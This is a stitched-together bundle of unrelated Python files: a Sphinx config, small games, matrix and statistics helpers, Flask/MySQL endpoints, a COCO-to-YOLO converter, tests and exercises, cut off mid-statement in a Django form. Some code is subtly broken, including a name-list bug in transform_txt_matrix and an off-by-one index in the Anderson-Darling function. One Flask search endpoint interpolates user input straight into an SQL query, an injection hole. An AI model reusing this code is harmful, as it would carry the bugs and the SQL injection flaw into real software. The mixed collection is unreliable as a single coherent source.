"""Sphinx documentation configuration file."""
from datetime import datetime
import os
from pathlib import Path
import re
import shutil

from ansys_sphinx_theme import ansys_favicon, get_version_match, pyansys_logo_black
import jupytext

from ansys.grantami.recordlists import __version__

# Project information
project = "ansys-grantami-recordlists"
project_copyright = f"(c) {datetime.now().year} ANSYS, Inc. All rights reserved"
author = "ANSYS, Inc."
release = version = __version__

# Select desired logo, theme, and declare the html title
html_logo = pyansys_logo_black
html_theme = "ansys_sphinx_theme"
html_short_title = html_title = "PyGranta RecordLists"
html_favicon = ansys_favicon

cname = os.getenv("DOCUMENTATION_CNAME", "recordlists.grantami.docs.pyansys.com")
"""The canonical name of the webpage hosting the documentation."""

# specify the location of your github repo
html_theme_options = {
    "github_url": "https://github.com/ansys/grantami-recordlists",
    "show_prev_next": False,
    "show_breadcrumbs": True,
    "additional_breadcrumbs": [
        ("PyAnsys", "https://docs.pyansys.com/"),
        ("PyGranta", "https://grantami.docs.pyansys.com/"),
    ],
    "switcher": {
        "json_url": f"https://{cname}/versions.json",
        "version_match": get_version_match(__version__),
    },
    "check_switcher": False,
}

# Sphinx extensions
extensions = [
    "numpydoc",
    "sphinx.ext.intersphinx",
    "sphinx_copybutton",
    "sphinx_jinja",
    "nbsphinx",
]

# sphinx
add_module_names = False

# sphinx.ext.autodoc
autodoc_typehints = "description"  # Remove typehints from signatures in docs
autodoc_typehints_description_target = "documented"
autodoc_member_order = "bysource"

# Intersphinx mapping
intersphinx_mapping = {
    "python": ("https://docs.python.org/3", None),
    "openapi-common": ("https://openapi.docs.pyansys.com", None),
    "requests": ("https://requests.readthedocs.io/en/latest/", None),
    # kept here as an example
    # "scipy": ("https://docs.scipy.org/doc/scipy/reference", None),
    # "numpy": ("https://numpy.org/devdocs", None),
    # "matplotlib": ("https://matplotlib.org/stable", None),
    # "pandas": ("https://pandas.pydata.org/pandas-docs/stable", None),
    # "pyvista": ("https://docs.pyvista.org/", None),
    # "grpc": ("https://grpc.github.io/grpc/python/", None),
}

# numpydoc configuration
numpydoc_show_class_members = False
numpydoc_xref_param_type = True
numpydoc_xref_ignore = {"of", "optional", "or"}

# Consider enabling numpydoc validation. See:
# https://numpydoc.readthedocs.io/en/latest/validation.html#
numpydoc_validate = True
numpydoc_validation_checks = {
    "GL06",  # Found unknown section
    "GL07",  # Sections are in the wrong order.
    "GL08",  # The object does not have a docstring
    "GL09",  # Deprecation warning should precede extended summary
    "GL10",  # reST directives {directives} must be followed by two colons
    "SS01",  # No summary found
    "SS02",  # Summary does not start with a capital letter
    # "SS03", # Summary does not end with a period
    "SS04",  # Summary contains heading whitespaces
    # "SS05", # Summary must start with infinitive verb, not third person
    "RT02",  # The first line of the Returns section should contain only the
    # type, unless multiple values are being returned"
}

# static path
html_static_path = ["_static"]

# Add any paths that contain templates here, relative to this directory.
templates_path = ["_templates"]

# The suffix(es) of source filenames.
source_suffix = ".rst"

# The master toctree document.
master_doc = "index"

# Generate section labels up to four levels deep
autosectionlabel_maxdepth = 4

# -- Examples configuration --------------------------------------------------
def _copy_examples_and_convert_to_notebooks(source_dir, output_dir, ignored_files_regex=None):
    """
    Recursively copies all files from the source directory to the output directory.

    Creates any necessary subfolders in the process. Python scripts with the ".py" extension
    are also converted to Jupyter notebooks with the ".ipynb" extension using Jupytext.

    Parameters
    ----------
    source_dir : Path
        The source directory to copy files from.
    output_dir : Path
        The output directory to copy files to and convert Python scripts.
    ignored_files_regex : str, optional
        A regular expression pattern to match ignored files. Files whose names match
        the pattern will be skipped. If None (default), no files are ignored.

    Raises
    ------
    RuntimeError
        If the output directory or any necessary subfolders cannot be created.

    Notes
    -----
    - This function uses pathlib.Path methods for working with file paths.
    - Any existing files in the output directory will be overwritten.
    - If a Python script cannot be converted to a Jupyter notebook, an exception is raised.

    Examples
    --------
    >>> _copy_examples_and_convert_to_notebooks("my_project/examples", "docs/notebooks", ignored_files_regex=r"^test.*")

    """
    if not source_dir.exists():
        raise ValueError(f"Source directory {source_dir.name} does not exist.")
    if not output_dir.exists():
        output_dir.mkdir(parents=True)

    ignored_files_re = re.compile(ignored_files_regex) if ignored_files_regex else None

    for file_source_path in source_dir.rglob("*"):
        if not file_source_path.is_file():
            continue

        matches_regex = ignored_files_re and ignored_files_re.match(file_source_path.name)
        is_rst_file = file_source_path.name.endswith(".rst")

        if matches_regex and not is_rst_file:
            print(f"Ignoring {file_source_path.name}")
            exclude_patterns.append(str(file_source_path.relative_to(source_dir)))
            continue

        rel_path = file_source_path.relative_to(source_dir)
        file_output_path = output_dir / rel_path

        file_output_path.parent.mkdir(parents=True, exist_ok=True)
        print(f"Copying {file_source_path.name}")
        shutil.copy(file_source_path, file_output_path)

        if file_source_path.suffix == ".py":
            try:
                ntbk = jupytext.read(file_source_path)
                jupytext.write(ntbk, file_output_path.with_suffix(".ipynb"))
            except Exception as e:
                raise RuntimeError(f"Failed to convert {file_source_path} to notebook: {e}")

exclude_patterns = []

EXAMPLES_SOURCE_DIR = Path(__file__).parent.parent.parent.absolute() / "examples"
EXAMPLES_OUTPUT_DIR = Path(__file__).parent.absolute() / "examples"
BUILD_EXAMPLES = True if os.environ.get("BUILD_EXAMPLES", "false") == "true" else False
if BUILD_EXAMPLES:
    ipython_dir = Path("../../.ipython").absolute()
    os.environ["IPYTHONDIR"] = str(ipython_dir)

ignore_example_files = r"test.*" if BUILD_EXAMPLES else r"^(?!test)"

# Properly configure the table of contents for the examples/index.rst file
jinja_contexts = {
    "examples": {
        "build_examples": BUILD_EXAMPLES,
    }
}

_copy_examples_and_convert_to_notebooks(
    EXAMPLES_SOURCE_DIR,
    EXAMPLES_OUTPUT_DIR,
    ignore_example_files,
)

nbsphinx_prolog = """
Download this example as a :download:`Jupyter notebook </{{ env.docname }}.ipynb>` or a
:download:`Python script </{{ env.docname }}.py>`.

----
"""


from turtle import Screen
from HungrySnake import Snake
from Rat import Food
import time

screen = Screen()
screen.setup (width=600 , height=600)
screen.bgcolor("black")
screen.title("Hungry Snake")
screen.tracer(0)

snake = Snake()
Rat   = Food()

screen.listen()
screen.onkey(snake.up,"Up")
screen.onkey(snake.down,"Down")
screen.onkey(snake.left,"Left")
screen.onkey(snake.right,"Right")

game_is_on = True
while game_is_on:
    screen.update()
    time.sleep(0.1)
    snake.move()

    if snake.head.distance(Rat)<15:
      Rat.refresh()

screen.exitonclick()


# -*- coding: utf-8 -*-
"""
Created on Fri Mar 25 11:34:50 2016

@author: chc
"""

def transform_txt_matrix(filename,sp=',',perturbation=0):
	"""
	transform txt into matrix
	name1 \t name2 \t num
	…\t …\t …
	"""
	import numpy as np
	with open(filename,'rt') as f:
		txt=f.read()
	info= txt.split('\n')[:-1]
	name_dict={}
	name_list=[]
	num=0
	for item in info:
		temp=item.split(sp)
		temp1=temp[0]
		temp2=temp[1]
		if temp1 not in name_dict:
			name_dict[temp1]=num
			name_list.append(temp1)
			num+=1
		if temp2 not in name_dict:
			name_dict[temp2]=num
			name_list.append(temp1)
			num+=1
	matrix=np.zeros((num,num))
	for item in info:
		temp=item.split(sp)
		temp1=temp[0]
		temp2=temp[1]
		temp3=temp[2]
		matrix[name_dict[temp1],name_dict[temp2]]=float(temp3)+perturbation
	return matrix,name_list

def IOF_martix(matrix,way='forward'):
	"""
	if way is 'forward'
	B[i,j]=x[i,j]/X^j
	-------------------------------------
	if way is 'backward'
	B[i,j]=x[i,j]/X_i

	"""
	import numpy as np
	n=len(matrix)
	IOF_mat=np.zeros((n,n))
	if way=='forward':
		row_sum=np.sum(matrix,axis=1)
		for j in range(0,n):
			if row_sum[j]:
				IOF_mat[:,j]=matrix[:,j]/row_sum[j]
	if way=='backward':
		col_sum=np.sum(matrix,axis=0)
		for i in range(0,n):
			if col_sum[i]:
				IOF_mat[i,:]=matrix[i,:]/col_sum[i]
	return IOF_mat

def max_eigenvalue(matrix,types='sparse',perturbation=0.001):
	"""
	find largest eigenvalue of matrix
	"""
	import scipy
	import numpy as np
	import scipy.sparse.linalg
	matrix=matrix+np.eye(len(matrix))
	if types=='sparse':
		sp_matrix=scipy.sparse.coo_matrix(matrix)
	eig_value=scipy.sparse.linalg.eigs(sp_matrix,k=1, return_eigenvectors=False)
	eig_value=float(eig_value[0].real)-1
	return eig_value

def IOF_range(matrix,name_list):
	import copy
	n=len(matrix)
	#ev_0=max_eigenvalue(matrix,types='sparse')
	ev_0=1
	iof={}
	for i in range(0,n):
		print(i+1,'/',n)
		temp_matrix=copy.deepcopy(matrix)
		temp_matrix[i,:]=0
		temp_matrix[:,i]=0
		temp_ev=max_eigenvalue(temp_matrix,types='sparse')
		iof[name_list[i]]=ev_0-temp_ev
	from operator import itemgetter
	iof_range=sorted(iof.items(), key=itemgetter(1), reverse=True)
	return iof_range


from flask import Flask, jsonify, request
from flask_cors import CORS
import mysql.connector
import json

app = Flask(__name__)
CORS(app)
posts = [
    {
      "message": "Hello world",
      "user": "David"
    },
    {
      "message": "Hello world2",
      "user": "Daniel"
    }
    ];

@app.route("/posts", methods = ['GET', 'POST'])
def handlePosts():
  mydb = mysql.connector.connect(
  host="0.0.0.0",
  user="ubuntu",
  password="",
  database="website"
  )

  if request.method == 'GET':
    mycursor = mydb.cursor()
    mycursor.execute("SELECT * FROM web")
    myresult = mycursor.fetchall()
    payload = []
    content = {}
    for result in myresult:
      content = {'message': result[1], 'user': result[0]}
      payload.append(content)
      content = {}
    print(jsonify(payload))
    return jsonify(payload)
  else:

    mycursor = mydb.cursor()
    sql = ("INSERT INTO web(name, message) VALUES (%s, %s)")
    data = request.get_json(force=True)
    val = (data["name"],data["message"])
    mycursor.execute(sql, val)

    mydb.commit()
    return "{\"status\": true}"

if __name__ == "__main__":
    app.run(host = "0.0.0.0")


#!/usr/bin/python3

# Convert all the objects in 1 category to YOLOV5 annotation files.
# The category ID is hard coded for the input category & output category.
# The COCO parser is copied from https://github.com/immersive-limit/coco-manager

# set max_objects for testing on a smaller data set

# python3 ~/truckcam/coco_to_yolo.py annotations/instances_val2017.json val2017/ val_person
# python3 ~/truckcam/coco_to_yolo.py annotations/instances_train2017.json train2017/ train_person

import os
import sys
import fileinput
import shutil
import json
from pathlib import Path

old_category = 1
new_category = 0
# limit the maximum number of objects for testing
#max_objects = -1
max_objects = 1000

class ImageObject:
    def __init__(self):
        self.category_id = -1
        self.box = [ 0.0, 0.0, 0.0, 0.0 ]

images = []

class Coco():
    def _process_info(self):
        self.info = self.coco['info']

    def _process_licenses(self):
        self.licenses = self.coco['licenses']

    def _process_categories(self):
        self.categories = dict()
        self.super_categories = dict()
        self.category_set = set()

        for category in self.coco['categories']:
            cat_id = category['id']
            super_category = category['supercategory']

            # Add category to categories dict
            if cat_id not in self.categories:
                self.categories[cat_id] = category
                self.category_set.add(category['name'])
            else:
                print(f'ERROR: Skipping duplicate category id: {category}')

            # Add category id to the super_categories dict
            if super_category not in self.super_categories:
                self.super_categories[super_category] = {cat_id}
            else:
                self.super_categories[super_category] |= {cat_id} # e.g. {1, 2, 3} |= {4} => {1, 2, 3, 4}

    def _process_images(self):
        self.images = dict()
        for image in self.coco['images']:
            image_id = image['id']
            if image_id not in self.images:
# create a new image record
                self.images[image_id] = image
            else:
                print(f'ERROR: Skipping duplicate image id: {image}')

    def _process_segmentations(self):
        self.segmentations = dict()
        for segmentation in self.coco['annotations']:
            image_id = segmentation['image_id']
            if image_id not in self.segmentations:
                self.segmentations[image_id] = []
            self.segmentations[image_id].append(segmentation)

    def process(self, input_json, input_dir, output_dir):
        # Open json
        self.input_json_path = Path(input_json)

        if not self.input_json_path.exists():
            print('Input JSON path not found.')
            print('Giving up & going to a movie.')
            quit()

        # Load the json into RAM
        print('Loading JSON file...')
        with open(self.input_json_path) as json_file:
            self.coco = json.load(json_file)

        print('Processing input JSON...')
        self._process_info()
        self._process_licenses()
        # category ID -> category
        self._process_categories()
        # image ID -> image file
        self._process_images()
        # bounding boxes -> image, category
        self._process_segmentations()

        # Want a .txt file for each image with the desired categories in it
        print("old images=%d" % len(self.images.items()))

# count the old objects
        count = 0
        for key, value in self.segmentations.items():
            count += len(value)
        print("old objects=%d" % count)

# read the old objects
        count = 0
        new_images = dict()
# 1 segmentation key for each image with multiple objects in it
        for key, value in self.segmentations.items():
            #print("seg=%s, %d" % (key, len(value)))
            for object in value:
                if object['category_id'] == old_category and object['iscrowd'] == 0:
                    image_id = object['image_id']
                    image = self.images[image_id]
                    image_w = image['width']
                    image_h = image['height']
                    # bbox is x, y, w, h
                    object_x = object['bbox'][0]
                    object_y = object['bbox'][1]
                    object_w = object['bbox'][2]
                    object_h = object['bbox'][3]

                    if image_id == 370210:
                        print("seg=%s" % object)
                        print("image=%s w=%d h=%d box=%d,%d,%d,%d" %
                            (image['file_name'], image_w, image_h, object_x, object_y, object_w, object_h))
                    image_object = ImageObject()
                    image_object.category_id = old_category
# YOLOV5 expects the center x, center y, w, h in fractions of the image size
                    image_object.box = [float(object_x + object_w / 2) / image_w,
                        float(object_y + object_h / 2) / image_h,
                        float(object_w) / image_w,
                        float(object_h) / image_h]
                    if image_id not in new_images:
                        new_images[image_id] = []
                    new_images[image_id].append(image_object)
                    count += 1
# debug
                if max_objects > 0 and count > max_objects:
                    break
            if max_objects > 0 and count > max_objects:
                break

        print("new images=%d" % len(new_images.items()))
        print("new objects=%d" % count)

        if True:
            for key, value in new_images.items():
                image = self.images[key]

                prefix = image['file_name'].split('.')[0]
                new_filename = prefix + '.txt'

    #            print('%s, %s:' % (image['file_name'], new_filename))
    # copy the image to the destination dir
                shutil.copy(input_dir + '/' + image['file_name'],
                    output_dir)
    # create the txt annotations
                file = open(output_dir + '/' + new_filename, 'w')
                for i in value:
                    file.write('%d %f %f %f %f\n' % (new_category, i.box[0], i.box[1], i.box[2], i.box[3]))
    #                print('%d %f %f %f %f' % (new_category, i.box[0], i.box[1], i.box[2], i.box[3]))
                file.close()

if __name__ == "__main__":
    input_json = sys.argv[1]
    input_dir = sys.argv[2]
    output_dir = sys.argv[3]

    print("JSON file: %s" % input_json)
    print("Source image dir: %s" % input_dir)
    print("Destination dir: %s" % output_dir)
    print("Source category ID: %d" % old_category)
    print("Dest category index: %d" % new_category)
    print("Max objects: %d" % max_objects)

    value = input('Press Enter to continue.')

    cf = Coco()
    cf.process(input_json, input_dir, output_dir)


import json
import requests
from config import keys

""" Обработка исключений"""
class ConvertionException(Exception):
    pass

class CryptoConvertor:
    @staticmethod
    def convertor(quote: str, base: str, amount: str):
        if quote == base:
            raise ConvertionException(f"Невозможно перевести одинаковые валюты {base}.")
        try:
            quote_ticker = keys[quote]
        except KeyError:
            raise ConvertionException(f"Не удалось обработать валюту {quote}")
        try:
            base_ticker = keys[base]
        except KeyError:
            raise ConvertionException(f"Не удалось обработать валюту {base}")
        try:
            amount = float(amount)
        except ValueError:
            raise ConvertionException(f"Не удалось обработать количество {amount}")
      # получаем api конвертирующий одну валюту в другую
        r = requests.get(f'https://min-api.cryptocompare.com/data/price?fsym={quote_ticker}&tsyms={base_ticker}')
        # преобразовывем ответ формата json в объект python
        resp = json.loads(r.content)[keys[base]]
       # умножаем полученный объект на колисчество валюты
        return resp * amount


#!/usr/bin/env python
# vim: ai ts=4 sts=4 et sw=4 fileencoding=utf-8
"""
Fix num of submissions
"""

from django.core.management.base import BaseCommand
from django.db import transaction
from django.utils.translation import gettext_lazy

from onadata.apps.logger.models import Instance
from onadata.apps.logger.models import XForm
from onadata.apps.main.models import UserProfile

class Command(BaseCommand):
    """Fix num of submissions"""

    help = gettext_lazy("Fix num of submissions")

    def handle(self, *args, **kwargs):
        i = 0
        xform_count = XForm.objects.filter(downloadable=True).count()
        for xform in XForm.objects.filter(downloadable=True).iterator():
            with transaction.atomic():
                instance_count = xform.instances.filter(deleted_at=None).count()
                xform.num_of_submissions = instance_count
                xform.save(update_fields=["num_of_submissions"])
            i += 1
            self.stdout.write(
                f"Processing {i} of {xform_count}: {xform.id_string} ({instance_count})"
            )

        i = 0
        profile_count = UserProfile.objects.count()
        for profile in UserProfile.objects.select_related("user__username").iterator():
            with transaction.atomic():
                instance_count = Instance.objects.filter(
                    deleted_at=None, xform__user_id=profile.user_id
                ).count()
                profile.num_of_submissions = instance_count
                profile.save(update_fields=["num_of_submissions"])
            i += 1
            self.stdout.write(
                f"Processing {i} of {profile_count}: {profile.user.username} "
                f"({instance_count})"
            )


from floc import sim_hash_string

def test_sim_hash_string() -> None:
    host_list = [
        'www.nikkei.com',
        'jovi0608.hatenablog.com',
        'www.nikkansports.com',
        'www.yahoo.co.jp',
        'www.sponichi.co.jp',
        'www.cnn.co.jp',
        'floc.glitch.me',
        'html5.ohtsu.org',
    ]

    # `779363756518407` was extracted from original project's examples
    assert sim_hash_string(host_list) == 779363756518407  # noqa: WPS432


import pandas as pd
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import LogisticRegression
import pickle
import re
import string
from sklearn.model_selection import train_test_split

def tokenize(s):
    regex = re.compile('[%s]' % re.escape(string.punctuation))
    out = regex.sub(' ', s).split()
    return out

def fit_logistic(x, y):
    y = y.values
    model = LogisticRegression(C=4, dual=True)
    return model.fit(x, y)

def training_code(PATH = "archive/labeled_data.csv"):
    COMMENT = 'tweet'
    label_cols = ['toxic', 'severe_toxic', 'obscene', 'threat', 'insult', 'identity_hate']

    print("Load data...")
    train = pd.read_csv(PATH)

    print("Fill empty with unknown...")
    train[COMMENT].fillna('unknown', inplace=True)

    print("Train TFIDF vectorizer...")
    tfidfvectorizer = TfidfVectorizer(ngram_range=(1, 2), tokenizer=tokenize,
                                      min_df=3, max_df=0.9, strip_accents='unicode',
                                      use_idf=1, smooth_idf=True, sublinear_tf=1)

    train_term_doc = tfidfvectorizer.fit_transform(train[COMMENT])
    x = train_term_doc

    # joblib.dump(tfidfvectorizer, 'models/tfidf_vectorizer_train.pkl')
    with open('models/tfidf_vectorizer_train.pkl', 'wb') as tfidf_file:
        pickle.dump(tfidfvectorizer, tfidf_file)

    print("Fit logistic regression for each class...")
    for i, j in enumerate(label_cols):
        print("Fitting:", j)
        model = fit_logistic(x, train[j])

        # joblib.dump(model, 'models/logistic_{}.pkl'.format(j))
        with open('models/logistic_{}.pkl'.format(j), 'wb') as lg_file:
            pickle.dump(model, lg_file)

if __name__ == "__main__":
    training_code()


import unittest
from unittest.mock import Mock, PropertyMock, patch

from nuplan.database.nuplan_db_orm.category import Category

class TestCategory(unittest.TestCase):
    """Test class Category"""

    def setUp(self) -> None:
        """
        Initializes a test Category
        """
        self.category = Category()

    @patch("nuplan.database.nuplan_db_orm.category.inspect", autospec=True)
    def test_session(self, inspect: Mock) -> None:
        """
        Tests _session methodtable property
        """
        # Setup
        mock_session = PropertyMock()
        inspect.return_value = Mock()
        inspect.return_value.session = mock_session

        # Call method under test
        result = self.category._session()

        # Assertions
        inspect.assert_called_once_with(self.category)
        mock_session.assert_called_once()
        self.assertEqual(result, mock_session.return_value)

    @patch("nuplan.database.nuplan_db_orm.category.simple_repr", autospec=True)
    def test_repr(self, simple_repr: Mock) -> None:
        """
        Tests string representation
        """
        # Call method under test
        result = self.category.__repr__()

        # Assertions
        simple_repr.assert_called_once_with(self.category)
        self.assertEqual(result, simple_repr.return_value)

    @patch("nuplan.database.nuplan_db_orm.category.default_color", autospec=True)
    def test_color(self, default_color: Mock) -> None:
        """
        Tests color property
        """
        # Call method under test
        result = self.category.color

        # Assertions
        default_color.assert_called_once_with(self.category.name)
        self.assertEqual(result, default_color.return_value)

    @patch("nuplan.database.nuplan_db_orm.category.default_color_np", autospec=True)
    def test_color_np(self, default_color_np: Mock) -> None:
        """
        Tests color_np property
        """
        # Call method under test
        result = self.category.color_np

        # Assertions
        default_color_np.assert_called_once_with(self.category.name)
        self.assertEqual(result, default_color_np.return_value)

if __name__ == "__main__":
    unittest.main()


"""List Unused View Templates

Author Agustina Aboy @ https://twitter.com/agusaboy """
__author__ = 'Agustina Aboy'

from telnetlib import PRAGMA_HEARTBEAT
from pyrevit import forms
from pyrevit import revit, DB

viewlist = DB.FilteredElementCollector(revit.doc)\
             .OfClass(DB.View)\
             .WhereElementIsNotElementType()\
             .ToElements()

vtemp = set()
usedvtemp = set()
views = []

for v in viewlist:
    if v.IsTemplate and 'master' not in revit.query.get_name(v).lower():
        vtemp.add(v.Id.IntegerValue)
    else:
        views.append(v)

for v in views:
    vtid = v.ViewTemplateId.IntegerValue
    if vtid > 0:
        usedvtemp.add(vtid)

unusedvtemp = vtemp - usedvtemp

if not unusedvtemp:
    forms.alert("All View Templates are in use.")
else:
    # ask user for wipe actions
    print("UNUSED VIEW TEMPALTES")
    print("\n ")
    for x in unusedvtemp:
        vt_list = revit.doc.GetElement(DB.ElementId(x)).Name
        print(vt_list)


import json
import time
from datetime import datetime
import random
import datetime

from google.cloud import pubsub_v1

# --- Base variables and auth path
PROJECT_ID = "task-cf-370710"
TOPIC_ID = "df-pub_sub-topic"
MAX_MESSAGES = 5
MAX_ERRORS = 2

# --- PubSub Utils Classes
class PubSubPublisher:
    def __init__(self, project_id, topic_id):
        self.project_id = project_id
        self.topic_id = topic_id
        self.publisher = pubsub_v1.PublisherClient(transport=None)
        self.topic_path = self.publisher.topic_path(self.project_id, self.topic_id)

    def publish(self, data: str):
        result = self.publisher.publish(self.topic_path, data.encode("utf-8"))
        return result

# --- Main publishing script
def main():
    i = 0
    publisher = PubSubPublisher(PROJECT_ID, TOPIC_ID)

    err_idx = set()

    while len(err_idx) < MAX_ERRORS:
        err_idx.add(random.randint(0, MAX_MESSAGES-1))

    while i < MAX_MESSAGES:
        now = datetime.datetime.utcnow()
        if i in err_idx:
            data = {
                "message": f"message-{i}",
                "number": "not an int",
                "age": random.random()
            }
        else:
            data = {
                "message": f"message-{i}",
                "number": random.randint(0, 10),
                "age": random.randint(10, 30),
                "timestamp": now.strftime('%Y-%m-%d %H:%M:%S')
            }
        publisher.publish(json.dumps(data))
        time.sleep(1)
        i += 1

if __name__ == "__main__":
    main()


import random
user=int(input('Press 0 for rock🪨\n,1 for paper📰\n,2 for scissor✂.'))
game=['🪨', '📰', '✂']
play=random.randint(0,2)
if(user<0 or user>=3):
    print('You typed an invalid number , you lose!')
else:
    print(game[user])
    print(game[play])

    if(user==0 and play==2) or (user==1 and play==0) or (user==2 and play==1):
        print('You won')
    elif(user==0 and play==1) or (user==1 and play==2) or (user==2 and play==0):
        print('cpu won')
    else:
        print('Draw match!')


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Dec 18 17:52:13 2020
@author: rfrazin

Anderson-Darling Test for univariate normality.
See the Wikipedia article.

This implements the single sample test.
The default is case 3 (i.e., unknown mean and var).
For cases 0, 1 and 2, in which the mean and/or var are known, simply set
   mu and/or var to their known values.
Note that the critical values of the test statistic (called A2 here) have
only a very weak dependence on the number of samples, making it particularly
good for non-independent samples for which the degrees of freedom are hard to
determine.  However, the effective sample size should be greater than 8.
Generally speaking, the normality is questionable when A2 is greater than
about 0.6 and should be rejected when greater than about 1.

"""

import numpy as np
from scipy.stats import norm

#x - is an array of samples from a univariate process
def ADtest(x, mu=None, var=None):
    assert x.ndim == 1
    u = np.sort(x)
    n = len(u)
    if mu is None: # (cases 0 and 2)
        mu = np.mean(u)
    if var is None: # (cases 0 and 1)
        var = np.var(u, ddof=1)
    y = (u - mu)/np.sqrt(var)
    s = 0.
    for k in range(n):
        cdfk = norm.cdf(y[k])
        s +=  (2*k - 1)*np.log(cdfk) + (2*(n-k) + 1)*np.log(1 - cdfk)
    s /= (-1*n)
    A2 = s - n
    return(A2)


import os

from gym import error, spaces
from gym.utils import seeding
import numpy as np
from os import path
import gym

try:
    import mujoco_py
except ImportError as e:
    raise error.DependencyNotInstalled("{}. (HINT: you need to install mujoco_py, and also perform the setup instructions here: https://github.com/openai/mujoco-py/.)".format(e))

DEFAULT_SIZE = 500

class MujocoEnv(gym.Env):
    """
    This is a simplified version of the gym MujocoEnv class.

    Some differences are:
     - Do not automatically set the observation/action space.
    """
    def __init__(self, model_path, frame_skip, device_id=-1, automatically_set_spaces=False):
        if model_path.startswith("/"):
            fullpath = model_path
        else:
            fullpath = os.path.join(os.path.dirname(__file__), "assets", model_path)
        if not path.exists(fullpath):
            raise IOError("File %s does not exist" % fullpath)
        self.frame_skip = frame_skip
        self.model = mujoco_py.load_model_from_path(fullpath)
        self.sim = mujoco_py.MjSim(self.model)
        self.data = self.sim.data
        self.viewer = None
        self._viewers = {}

        self.metadata = {
            'render.modes': ['human', 'rgb_array'],
            'video.frames_per_second': int(np.round(1.0 / self.dt))
        }
        if device_id == -1 and 'gpu_id' in os.environ:
            device_id =int(os.environ['gpu_id'])
        self.device_id = device_id
        self.init_qpos = self.sim.data.qpos.ravel().copy()
        self.init_qvel = self.sim.data.qvel.ravel().copy()
        if automatically_set_spaces:
            observation, _reward, done, _info = self.step(np.zeros(self.model.nu))
            assert not done
            self.obs_dim = observation.size

            bounds = self.model.actuator_ctrlrange.copy()
            low = bounds[:, 0]
            high = bounds[:, 1]
            self.action_space = spaces.Box(low=low, high=high)

            high = np.inf*np.ones(self.obs_dim)
            low = -high
            self.observation_space = spaces.Box(low, high)

        self.seed()

    def seed(self, seed=None):
        self.np_random, seed = seeding.np_random(seed)
        return [seed]

    # methods to override:
    # ----------------------------

    def reset_model(self):
        """
        Reset the robot degrees of freedom (qpos and qvel).
        Implement this in each subclass.
        """
        raise NotImplementedError

    def viewer_setup(self):
        """
        This method is called when the viewer is initialized and after every reset
        Optionally implement this method, if you need to tinker with camera position
        and so forth.
        """
        pass

    # -----------------------------

    def reset(self):
        self.sim.reset()
        ob = self.reset_model()
        if self.viewer is not None:
            self.viewer_setup()
        return ob

    def set_state(self, qpos, qvel):
        assert qpos.shape == (self.model.nq,) and qvel.shape == (self.model.nv,)
        old_state = self.sim.get_state()
        new_state = mujoco_py.MjSimState(old_state.time, qpos, qvel,
                                         old_state.act, old_state.udd_state)
        self.sim.set_state(new_state)
        self.sim.forward()

    @property
    def dt(self):
        return self.model.opt.timestep * self.frame_skip

    def do_simulation(self, ctrl, n_frames=None):
        if n_frames is None:
            n_frames = self.frame_skip
        if self.sim.data.ctrl is not None and ctrl is not None:
            self.sim.data.ctrl[:] = ctrl
        for _ in range(n_frames):
            self.sim.step()

    def render(self, mode='human', width=DEFAULT_SIZE, height=DEFAULT_SIZE):

        if mode == 'rgb_array':
            self._get_viewer(mode).render(width, height)
            data = self._get_viewer(mode).read_pixels(width, height, depth=False)
            # original image is upside-down, so flip it
            return data[::-1, :, :]
        elif mode == 'depth_array':
            self._get_viewer(mode).render(width, height)
            # window size used for old mujoco-py:
            # Extract depth part of the read_pixels() tuple
            data = self._get_viewer(mode).read_pixels(width, height, depth=True)[1]
            # original image is upside-down, so flip it
            return data[::-1, :]
        elif mode == 'human':
            self._get_viewer(mode).render()

    def close(self):
        if self.viewer is not None:
            # self.viewer.finish()
            self.viewer = None
            self._viewers = {}

    def _get_viewer(self, mode):
        self.viewer = self._viewers.get(mode)
        if self.viewer is None:
            if mode == 'human':
                self.viewer = mujoco_py.MjViewer(self.sim)
            elif mode == 'rgb_array' or mode == 'depth_array':
                self.viewer = mujoco_py.MjRenderContextOffscreen(self.sim, -1)

            self.viewer_setup()
            self._viewers[mode] = self.viewer
        return self.viewer

    def get_body_com(self, body_name):
        return self.data.get_body_xpos(body_name)

    def state_vector(self):
        return np.concatenate([
            self.sim.data.qpos.flat,
            self.sim.data.qvel.flat
        ])

    def get_image(self, width=84, height=84, camera_name=None):
        return self.sim.render(
            width=width,
            height=height,
            camera_name=camera_name,
        )

    def initialize_camera(self, init_fctn, mode='rgb_array'):
        sim = self.sim
        viewer = mujoco_py.MjRenderContextOffscreen(sim, device_id=self.device_id)
        # viewer = mujoco_py.MjViewer(sim)
        init_fctn(viewer.cam)
        sim.add_render_context(viewer)


"""

Given 2 non negative integers m and n, find gcd(m, n)

GCD of 2 integers m and n is defined as the greatest integer g such that g is a divisor of both m and n.
Both m and n fit in a 32 bit signed integer.

Example

m : 6
n : 9

GCD(m, n) : 3

"""

class Solution:
    def gcd(self, A, B):
        if B == 0:
            return A
        return self.gcd(B, A % B)

"""

class Solution:
    def gcd(self, A, B):
        while B!=0:
            A, B= B, A%B
        return A

#Swap A, B if B > A
"""


from flask import Flask, request, render_template
import MySQLdb

import config

app = Flask(__name__)
sphinx_connection = MySQLdb.connect(host=config.SPHINX_HOST, port=config.SPHINX_PORT)

def get_address(text: str, limit: int = 20):
    c = sphinx_connection.cursor()
    c.execute(f"SELECT address_name FROM address WHERE match('*{text}*') LIMIT {limit}")
    return [adr[0] for adr in c.fetchall()]

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/search')
def find():
    addr = request.args.get('addr', '')
    limit = request.args.get('limit', 20)
    return get_address(addr, limit)

if __name__ == '__main__':
    app.run()


import matplotlib.pyplot as plt
import networkx as nx

# В этой строчке задается случайное дерево на 20 вершинах. При каждом перезапуске блока будет создаваться новое дерево.
tree = nx.random_tree(12)

# Заводим множество посещенных вершин
visited = set()

# Здесь приведена краткая памятка по командам, которые могут потребоваться
# Следующая команда добавляет вершину v в множество посещенных
# visited.add(v)
# Следующая команда возвращает итератор по соседям вершины v
# tree[v]

# Функция должна возвращать глубину дерева с корнем v

v_root=0 # ввершина относительно которой считается

def count_depth(v_root):
    # Добавьте здесь ваше решение
    visited.add(v_root)
    depth = 0
    for u in tree[v_root]:
        if u not in visited:
            depth = max(depth, count_depth(u)+1)
    return depth

print(f'Глубина дерева: {count_depth(0)}')

nx.draw_networkx(tree)
plt.show()


from django import forms
from .models import Post, Group, Comment

class PostForm(forms.ModelForm):
    text = forms.CharField(
        widget=forms.Textarea,
        label="Текст",
        required=True
    )
    group = forms.ModelChoiceField(
        queryset=Group.objects.all(),
